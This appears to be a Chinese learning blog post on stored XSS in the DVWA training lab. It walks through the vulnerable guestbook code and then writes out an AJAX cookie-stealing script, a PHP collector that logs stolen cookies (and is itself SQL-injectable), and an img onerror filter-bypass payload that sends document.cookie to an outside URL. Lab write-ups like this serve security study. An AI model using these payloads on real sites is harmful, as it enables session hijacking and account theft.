• 信息安全之路-web-xss学习(2)


    存储型xss漏洞
    该漏洞会将执行命令写入数据库,每一个用户在该页面停留时,都会被动执行该js命令,从而被盗取cookie

    1.DVWA平台验证-low等级

    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitize name input
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    

    细节处理:
    isset函数 — 检测变量是否已设置并且非 NULL
    trim() 函数移除字符串两侧的空白字符或其他预定义字符。
    stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
    mysqli_real_escape_string函数,将字符串转换成sql中的字符串储存

    所以猜想以上的php代码应该是将用户输入进行去空格,注释,特殊字符处理后,转入数据库存储,其中? a :b是一个选择表达式,大概是判断该语句是否是一个对象,然后存入数组,之后判断其总形式是否正确,否则弹出错误。

    其中对输入内容未做任何过滤,有两个输入点,分别是message和name,name输入长度不超过6,可以在表单页面修改,如下

    构造js语句,在留言板留言,该语句就会被写入数据库,如下


    构造js文件语句如下

    var url = "http://www.dvwa.com/dvwaxss/steal0.php";
    var postStr = "data="+document.cookie;
    var ajax = null;
    if (window.XMLHttpRequest) {
        ajax = new XMLHttpRequest();
    } else if (window.ActiveXObject) {
        ajax = new ActiveXObject("Microsoft.XMLHTTP");
    } else {
        ajax=null;
    }
    ajax.open("POST", url, true);//true代表异步
    ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");//设置请求头
    ajax.send(postStr);
    

    关于该js代码:
    主要有两个对于我来说是未知的,来自百度知道的解答

    应该是构建了这么一个ajax的请求对象,向后端提交数据
    上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://www.dvwa.com/dvwaxss/steal0.php,也就是当前目录下的steal0.php。

    php文件代码
    如下,连接数据库后,执行插入命令,将从页面接收到的postStr数据进行判断验证并储存

    <?php
    header("content-type:text/html;charset=utf-8");
    $conn=mysql_connect("localhost","root","root");
    mysql_select_db("dvwacookie",$conn);
    if(isset($_GET['data']))
    {
        $sql="insert into low(cookie) values('".$_GET['data']."');";
        $result=mysql_query($sql,$conn);
        mysql_close();
    }
    else if(isset($_POST['data']))
    {
        $sql="insert into low(cookie) values('".$_POST['data']."');";
        $result=mysql_query($sql,$conn);
        mysql_close();
    }
    else
    {
        $sql="select * from low";
        $result=mysql_query($sql,$conn);
        while($row=mysql_fetch_array($result))
        {
            echo "获取的cookie:".$row[1]."</br>";
        }
        mysql_close();
    }
    ?>
    

    此时每当有用户打开留言板时,就会触发上述插入的xss语句,在后台就会执行跳转,首先是js文件中构建ajax对象,获取当前用户cookie,并将该cookie发送到和cookie.js同目录下的steal0.php下,最终用户的cookie便被窃取,其中ajax技术为异步数据处理,使得整个页面部分刷新,从视觉效果上页面并无变化,但实际上cookie已被悄悄转发

    实例如下:
    另一个新用户登录并在此输入

    cookie已经到窃取cookie端的服务器的数据库中

    事实上,即使没有输入,当用户在该页面时,cookie已被获取,这就是存储型xss

    补充

    high等级
    后面的回顾中遇到被正则匹配的存储型xss代码,考虑借用img事件直接跳转到url地址栏如下,但数据库中可能存储不下这么长的编码,要想办法缩减:

    <img src=# onerror=(locat&#105;on.href="http://www.dvwa.com/dvwaxss/steal0.php?data="+document.cookie)>
    


    其中在对代码的调试时花费了很多时间:
    最终确定调试方法(大型程序一般用软件debugger等跑)

    • php:由于现在接触较少,就通过浏览器端显示效果+echo输出判断
    • js:同上,利用浏览器控制台功能+浏览器内部自带调试功能调试js文件
  • 相关阅读:
    Tensorflow2.0学习(3)---基础
    Tensorflow2.0学习(2)---线性回归和分类
    Tensorflow2.0学习(1)---简介
    人工智能、机器学习、深度学习区别
    window10安装tensorflow2
    conda创建虚拟环境报错
    ubuntu18的firefox安装flash插件
    Shell学习(1)---脚本入门
    检测服务器端口是否被封(墙)
    git 查看远程仓库地址
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/9836707.html
Copyright © 2020-2023  润新知